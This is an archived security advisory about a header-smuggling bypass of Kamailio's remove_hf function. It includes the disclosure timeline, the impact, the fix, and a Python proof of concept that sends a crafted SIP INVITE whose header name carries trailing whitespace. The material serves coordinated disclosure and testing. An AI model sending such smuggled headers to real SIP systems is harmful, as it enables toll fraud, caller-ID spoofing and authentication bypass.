Kamailio 5.4.0 Header Smuggling

Authored by Sandro Gauci | Site rtcsec.com

Posted Sep 1, 2020

Kamailio version 5.4.0 is vulnerable to header smuggling via a bypass of remove_hf.

tags | exploit, bypass

SHA-256 | 90b01227ec53c669668b75248613fb8d1d22b84fea63434c5f55b4a27dee1fe7

Download | Favorite | View

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
# Kamailio vulnerable to header smuggling possible due to bypass of remove_hf

- Fixed versions: Kamailio v5.4.0
- Enable Security Advisory: <https://github.com/EnableSecurity/advisories/tree/master/ES2020-01-kamailio-
remove-hf>
- Tested vulnerable versions: 5.3.5 and earlier
- Timeline:
    - Report date & issue patched by Kamailio:  2020-07-16
    - Kamailio rewrite for header parser (better fix): 2020-07-16 to 2020-07-23
    - Kamailio release with fix: 2020-07-29
    - Enable Security advisory: 2020-09-01

## Description

Kamailio is often configured to remove certain special internal SIP headers from untrusted traffic to protect
against header injection attacks by making use of the `remove_hf` function from the Kamailio `textops` module.
These SIP headers were typically set through Kamailio which are then used downstream, e.g. by a media service
based on Asterisk, to affect internal business logic decisions. During our tests and research, we noticed that
the removal of these headers can be bypassed by injecting whitespace characters at the end of the header name.

Further discussion and details of this vulnerability can be found at the Communication Breakdown blog:
https://www.rtcsec.com/2020/09/01-smuggling-sip-headers-ftw/.

## Impact

The impact of this security bypass greatly depends on how these headers are used and processed by the affected
logic. In a worst case scenarios, this vulnerability could allow toll fraud, caller-ID spoofing and
authentication bypass.

## How to reproduce the issue

We prepared a docker-compose environment to demonstrate a vulnerable setup which can be found at
<https://github.com/EnableSecurity/advisories/tree/master/ES2020-01-kamailio-remove-hf/repro>. The following
python code could then be used to reproduce the issue:

```python
#!/usr/bin/env python3
sipmsg  = "INVITE sip:headerbypass@localhost SIP/2.0\r\n"
sipmsg += "Via: SIP/2.0/UDP 127.0.0.1:48017;rport;branch=z9hG4bK-%s\r\n"
sipmsg += "Max-Forwards: 70\r\n"
sipmsg += "From: <sip:anon@localhost>;tag=%s\r\n"
sipmsg += "To: sip:whatever@whatever.local\r\n"
sipmsg += "Call-ID: %s\r\n"
sipmsg += "CSeq: 1 INVITE\r\n"
sipmsg += "Contact: <sip:1000@127.0.0.1:48017;transport=udp>\r\n"
sipmsg += "X-Bypass-me : lol\r\n"
sipmsg += "Content-Length: 237\r\n"
sipmsg += "Content-Type: application/sdp\r\n"
sipmsg += "\r\n"
sipmsg += "v=0\r\n"
sipmsg += "o=- 1594727878 1594727878 IN IP4 127.0.0.1\r\n"
sipmsg += "s=-\r\n"
sipmsg += "c=IN IP4 127.0.0.1\r\n"
sipmsg += "t=0 0\r\n"
sipmsg += "m=audio 58657 RTP/AVP 0 8 96 101\r\n"
sipmsg += "a=rtpmap:101 telephone-event/8000/1\r\n"
sipmsg += "a=rtpmap:0 PCMU/8000/1\r\n"
sipmsg += "a=rtpmap:8 PCMA/8000/1\r\n"
sipmsg += "a=rtpmap:96 opus/8000/2\r\n"
sipmsg += "a=sendrecv\r\n"

target = ("127.0.0.1",5060)

import socket
import time
from random import randint
s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
s.bind(("0.0.0.0",5088))
r = randint(1000,9999)
data = sipmsg % (r,r,r)
s.sendto(data.encode("utf-8"), target)
while True:
    data,addr=s.recvfrom(4096)
    print(data.decode("utf-8"))
    time.sleep(5)
```

In the case of a vulnerable version of Kamailio, Asterisk would respond with a 200 OK while in a fix version,
you would get a 603 Decline response.

Solutions and recommendations

The official Kamailio fix has been tested and found to sufficiently address this security flaw. We recommend
making use of the latest release or backporting the fixes where possible. Making use of regular expressions to
cover white-space characters with `remove_hf_re` has been suggested as mitigation for this issue for cases
where the code cannot be upgraded.

Enable Security would like to thank Daniel-Constantin Mierla of the Kamailio Project for the very quick
response and fix within minutes of our report being made available to him, as well as Torrey Searle for
reporting this issue quickly to the Kamailio team.

About Enable Security

[Enable Security](https://www.enablesecurity.com) develops offensive security tools and provides quality
penetration testing to help protect your real-time communications systems against attack.

Disclaimer

The information in the advisory is believed to be accurate at the time of publishing based on currently
available information. Use of the information constitutes acceptance for use in an AS IS condition. There are
no warranties with regard to this information. Neither the author nor the publisher accepts any liability for
any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.

Disclosure policy

This report is subject to Enable Security's vulnerability disclosure policy which can be found at
<https://github.com/EnableSecurity/Vulnerability-Disclosure-Policy>.
```

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat 150 files
Ubuntu 68 files
LiquidWorm 23 files
Debian 16 files
malvuln 11 files
nu11secur1ty 11 files
Gentoo 9 files
Google Security Research 6 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other

Site Links

News by Month
News Tags
Files by Month
File Tags
File Directory

About Us

History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By

Rokasec

Follow us on Twitter

Subscribe to an RSS Feed